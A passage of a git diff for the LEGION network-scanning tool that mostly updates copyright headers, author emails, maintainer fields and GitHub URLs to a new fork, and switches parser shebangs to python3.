b/app/tools/nmap/NmapHelpers.py index 4d322ba5..74d2e36c 100644 --- a/app/tools/nmap/NmapHelpers.py +++ b/app/tools/nmap/NmapHelpers.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from app.shell.Shell import Shell diff --git a/app/tools/nmap/NmapPaths.py b/app/tools/nmap/NmapPaths.py index aa7028a0..c187f2aa 100644 --- a/app/tools/nmap/NmapPaths.py +++ b/app/tools/nmap/NmapPaths.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ diff --git a/controller/controller.py b/controller/controller.py index 0b33214d..347edde6 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/RepositoryContainer.py b/db/RepositoryContainer.py index 51077154..89f6eec7 100644 --- a/db/RepositoryContainer.py +++ b/db/RepositoryContainer.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from typing import NamedTuple diff --git a/db/RepositoryFactory.py b/db/RepositoryFactory.py index e3697a68..8e821295 100644 --- a/db/RepositoryFactory.py +++ b/db/RepositoryFactory.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from db.RepositoryContainer import RepositoryContainer from db.SqliteDbAdapter import Database diff --git a/db/SqliteDbAdapter.py b/db/SqliteDbAdapter.py index 21f22052..1e2d5c36 100644 --- a/db/SqliteDbAdapter.py +++ b/db/SqliteDbAdapter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2019 GoVanguard +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,6 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from PyQt6.QtCore import QSemaphore diff --git a/db/database.py b/db/database.py index 5166f77e..6fd13c42 100644 --- a/db/database.py +++ b/db/database.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/app.py b/db/entities/app.py index e0663887..3ec8e13b 100644 --- a/db/entities/app.py +++ b/db/entities/app.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Column, String, ForeignKey, Integer diff --git a/db/entities/cve.py b/db/entities/cve.py index bc329043..9db0c02a 100644 --- a/db/entities/cve.py +++ b/db/entities/cve.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import String, Column, Integer, ForeignKey diff --git a/db/entities/host.py b/db/entities/host.py index be3a4b4e..4486bf88 100644 --- a/db/entities/host.py +++ b/db/entities/host.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Column, String, Integer from sqlalchemy.orm import relationship diff --git a/db/entities/l1script.py b/db/entities/l1script.py index d55b25fd..3e3c53d6 100644 --- a/db/entities/l1script.py +++ b/db/entities/l1script.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Column, String, Integer, ForeignKey diff --git a/db/entities/nmapSession.py b/db/entities/nmapSession.py index dd354906..7415ab4d 100644 --- a/db/entities/nmapSession.py +++ b/db/entities/nmapSession.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import String, Column diff --git a/db/entities/note.py b/db/entities/note.py index 3ff192c9..8beb78a1 100644 --- a/db/entities/note.py +++ b/db/entities/note.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Column, Integer, ForeignKey, String diff --git a/db/entities/os.py b/db/entities/os.py index 9c3a9bf4..e137419d 100644 --- a/db/entities/os.py +++ b/db/entities/os.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Integer, Column, String, ForeignKey diff --git a/db/entities/port.py b/db/entities/port.py index 8b99d9f8..7f6853ea 100644 --- a/db/entities/port.py +++ b/db/entities/port.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Integer, Column, String, ForeignKey diff --git a/db/entities/process.py b/db/entities/process.py index 8d6c563a..5bcf5e4c 100644 --- a/db/entities/process.py +++ b/db/entities/process.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Column, String, Integer from sqlalchemy.orm import relationship diff --git a/db/entities/processOutput.py b/db/entities/processOutput.py index e74add51..e0dc72e5 100644 --- a/db/entities/processOutput.py +++ b/db/entities/processOutput.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import Column, Integer, ForeignKey, String diff --git a/db/entities/service.py b/db/entities/service.py index e7d7c748..efebe99f 100644 --- a/db/entities/service.py +++ b/db/entities/service.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import String, Column, Integer, ForeignKey from sqlalchemy.orm import relationship diff --git a/db/filters.py b/db/filters.py index 02fe0ef9..8983b944 100644 --- a/db/filters.py +++ b/db/filters.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from db.validation import sanitise diff --git a/db/postgresDbAdapter.py b/db/postgresDbAdapter.py index c82393a5..7978e398 100644 --- a/db/postgresDbAdapter.py +++ b/db/postgresDbAdapter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2019 GoVanguard +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,6 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ from PyQt6.QtCore import QSemaphore diff --git a/db/repositories/CVERepository.py b/db/repositories/CVERepository.py index 28baa5c7..92aec4d8 100644 --- a/db/repositories/CVERepository.py +++ b/db/repositories/CVERepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import text diff --git a/db/repositories/HostRepository.py b/db/repositories/HostRepository.py index b8d6f752..65d7bfc5 100644 --- a/db/repositories/HostRepository.py +++ b/db/repositories/HostRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from app.auxiliary import Filters diff --git a/db/repositories/NoteRepository.py b/db/repositories/NoteRepository.py index e1c80fd8..02f5b1b0 100644 --- a/db/repositories/NoteRepository.py +++ b/db/repositories/NoteRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from db.SqliteDbAdapter import Database diff --git a/db/repositories/PortRepository.py b/db/repositories/PortRepository.py index 79508e8f..047e116a 100644 --- a/db/repositories/PortRepository.py +++ b/db/repositories/PortRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import text diff --git a/db/repositories/ProcessRepository.py b/db/repositories/ProcessRepository.py index e6dbe322..79b6df9a 100644 --- a/db/repositories/ProcessRepository.py +++ b/db/repositories/ProcessRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from typing import Union diff --git a/db/repositories/ScriptRepository.py b/db/repositories/ScriptRepository.py index 89262c71..61fd10fd 100644 --- a/db/repositories/ScriptRepository.py +++ b/db/repositories/ScriptRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from sqlalchemy import text diff --git a/db/repositories/ServiceRepository.py b/db/repositories/ServiceRepository.py index 1492929c..670181c2 100644 --- a/db/repositories/ServiceRepository.py +++ b/db/repositories/ServiceRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from app.auxiliary import Filters from sqlalchemy import text diff --git a/db/validation.py b/db/validation.py index cb4b9ae2..1a966674 100644 --- a/db/validation.py +++ b/db/validation.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ diff --git a/debian/changelog b/debian/changelog index 1aeb8142..83b2aaa6 100644 --- a/debian/changelog +++ b/debian/changelog @@ -10,14 +10,14 @@ legion (0.4.0-0) UNRELEASED; urgency=medium * Eliminate support for distributions other than Kali 2022 and later or Ubuntu 20.04 or later * Improved WSL support (handling of path conversions for calling the Windows NMAP installation from the program) - -- Shane Scott Thur, 09 Nov 2023 19:04:55 -0600 + -- Shane Scott Thur, 09 Nov 2023 19:04:55 -0600 legion (0.4.1-0) UNRELEASED; urgency=medium * Add checkXserver.sh to help users troubleshoot connections to X * Fix a few missing dependencies - -- Shane Scott Thur, 13 Nov 2023 10:54:55 -0600 + -- Shane Scott Thur, 13 Nov 2023 10:54:55 -0600 legion (0.4.2-0) UNRELEASED; urgency=medium @@ -31,7 +31,7 @@ legion (0.4.2-0) UNRELEASED; urgency=medium * Revise screenshooter to use schema://ip:port when url is a single node * Fix typo in startLegion.sh - -- Shane Scott Mon, 20 Nov 2023 12:50:55 -0600 + -- Shane Scott Mon, 20 Nov 2023 12:50:55 -0600 legion (0.4.3-0) UNRELEASED; urgency=medium @@ -40,4 +40,4 @@ legion (0.4.3-0) UNRELEASED; urgency=medium * Doubleckick to copy hostname (Linux only) * Script to generate huge bogus NMAP XML imports for testing. - -- Shane Scott Mon, 20 Nov 2023 19:17:00 -0600 + -- Shane Scott Mon, 20 Nov 2023 19:17:00 -0600 diff --git a/debian/control b/debian/control index 30150457..cbdca1d1 100644 --- a/debian/control +++ b/debian/control @@ -1,11 +1,11 @@ Source: legion Section: misc Priority: optional -Maintainer: GoVanguard -Uploaders: Shane Scott +Maintainer: Hackman238 +Uploaders: Shane Scott Build-Depends: debhelper, python3, python3-requests Standards-Version: 0.4.3 -Homepage: https://github.com/GoVanguard/Legion +Homepage: https://github.com/Hackman238/Legion Package: legion Architecture: all diff --git a/debian/copyright b/debian/copyright index c349a13f..0f33153c 100644 --- a/debian/copyright +++ b/debian/copyright @@ -1,9 +1,9 @@ Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ Upstream-Name: legion -Source: https://github.com/GoVanguard/Legion +Source: https://github.com/Hackman238/Legion Files: * -Copyright: 2018-2019 GoVanguard +Copyright: 2024 Hackman238 License: GPL-3+ Files: scripts/rdp-sec-check.pl @@ -65,7 +65,7 @@ License: BSD-3-clause SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Files: debian/* -Copyright: 2018-2019 GoVanguard +Copyright: 2024 Hackman238 License: GPL-3+ License: GPL-3+ diff --git a/debian/watch b/debian/watch index 10778283..3e6e3dd6 100644 --- a/debian/watch +++ b/debian/watch @@ -1,3 +1,3 @@ version=0.4.0 opts="filenamemangle=s/.*\/v(\d.*).tar.gz/legion-$1.tar.gz/" \ -https://github.com/GoVanguard/Legion/releases .*/v(\d.*)\.tar\.gz +https://github.com/Hackman238/Legion/releases .*/v(\d.*)\.tar\.gz diff --git a/deps/detectScripts.sh b/deps/detectScripts.sh index af9be128..1ee44ae3 100755 --- a/deps/detectScripts.sh +++ b/deps/detectScripts.sh @@ -9,7 +9,7 @@ for script in "${scripts[@]}"; do if [ -a "scripts/$script" ]; then echo "$script is already installed" else - wget -v -P scripts/ "https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/$script" + wget -v -P scripts/ "https://raw.githubusercontent.com/Hackman238/sparta-scripts/master/$script" fi done diff --git a/docker/Dockerfile b/docker/Dockerfile index a85805d6..d7c60db3 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -3,7 +3,7 @@ WORKDIR / ENV DISPLAY :0 ENV DEBIAN_FRONTEND=noninteractive ENV TZ=America/Chicago -RUN git clone https://github.com/GoVanguard/legion.git +RUN git clone https://github.com/Hackman238/legion.git RUN cd legion && \ chmod +x ./startLegion.sh && \ chmod +x ./deps/* -R && \ diff --git a/docker/Dockerfile.dev b/docker/Dockerfile.dev index 7f4b3517..f461032a 100644 --- a/docker/Dockerfile.dev +++ b/docker/Dockerfile.dev @@ -3,7 +3,7 @@ WORKDIR / ENV DISPLAY :0 ENV DEBIAN_FRONTEND=noninteractive ENV TZ=America/Chicago -RUN git clone https://github.com/GoVanguard/legion.git -b development +RUN git clone https://github.com/Hackman238/legion.git -b development RUN cd legion && \ chmod +x ./startLegion.sh && \ chmod +x ./deps/* -R && \ diff --git a/legion.py b/legion.py index f9d6e161..fddd3688 100644 --- a/legion.py +++ b/legion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,10 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ + import shutil from app.ApplicationInfo import getConsoleLogo @@ -118,10 +121,10 @@ def doPathSetup(): if '7.92' in checkNmapVersion.decode(): startupLog.error("Cannot continue. NMAP version is 7.92, which has problems segfaulting under zsh.") - startupLog.error("Please follow the instructions at https://github.com/GoVanguard/legion/ to resolve.") + startupLog.error("Please follow the instructions at https://github.com/Hackman238/legion/ to resolve.") notice=QMessageBox() notice.setIcon(QMessageBox.Icon.Critical) - notice.setText("Cannot continue. The installed NMAP version is 7.92, which has segfaults under zsh.\nPlease follow the instructions at https://github.com/GoVanguard/legion/ to resolve.") + notice.setText("Cannot continue. The installed NMAP version is 7.92, which has segfaults under zsh.\nPlease follow the instructions at https://github.com/Hackman238/legion/ to resolve.") notice.exec_() exit(1) diff --git a/parsers/CVE.py b/parsers/CVE.py index e22a238d..b65ddbd7 100644 --- a/parsers/CVE.py +++ b/parsers/CVE.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/python3 class CVE: diff --git a/parsers/Host.py b/parsers/Host.py index 92d7b106..d971d608 100644 --- a/parsers/Host.py +++ b/parsers/Host.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/python3 __author__ = 'yunshu(wustyunshu@hotmail.com)' __version__= '0.2' diff --git a/parsers/OS.py b/parsers/OS.py index 20d9b870..8df11da0 100644 --- a/parsers/OS.py +++ b/parsers/OS.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/python3 __author__ = 'ketchup' __version__= '0.1' diff --git a/parsers/Parser.py b/parsers/Parser.py index 7f92741b..9c49ff8e 100644 --- a/parsers/Parser.py +++ b/parsers/Parser.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/python3 '''this module used to parse nmap xml report''' diff --git a/parsers/Port.py b/parsers/Port.py index 40fd857f..45d31ff7 100644 --- a/parsers/Port.py +++ b/parsers/Port.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/python3 __author__ = 'SECFORCE' __version__ = '0.1' diff --git a/parsers/Script.py b/parsers/Script.py index 18ba772f..c548ed41 100644 --- a/parsers/Script.py +++ b/parsers/Script.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/python3 from db.entities.cve import cve __author__ = 'ketchup' diff --git a/parsers/Service.py b/parsers/Service.py index 8dff137b..d55257dc 100644 --- a/parsers/Service.py +++ b/parsers/Service.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/python3 __author__ = 'yunshu(wustyunshu@hotmail.com)' __version__ = '0.2' diff --git a/parsers/Session.py b/parsers/Session.py index 5742e4f2..6330314a 100644 --- a/parsers/Session.py +++ b/parsers/Session.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/python3 __author__ = 'yunshu(wustyunshu@hotmail.com)' __version__= '0.2' diff --git a/parsers/examples/HostExample.py b/parsers/examples/HostExample.py index cf1172d5..c10de10d 100644 --- a/parsers/examples/HostExample.py +++ b/parsers/examples/HostExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/OsExample.py b/parsers/examples/OsExample.py index d7a7bc25..19c9afd6 100644 --- a/parsers/examples/OsExample.py +++ b/parsers/examples/OsExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ParserExample.py b/parsers/examples/ParserExample.py index 89677489..6d470b90 100644 --- a/parsers/examples/ParserExample.py +++ b/parsers/examples/ParserExample.py 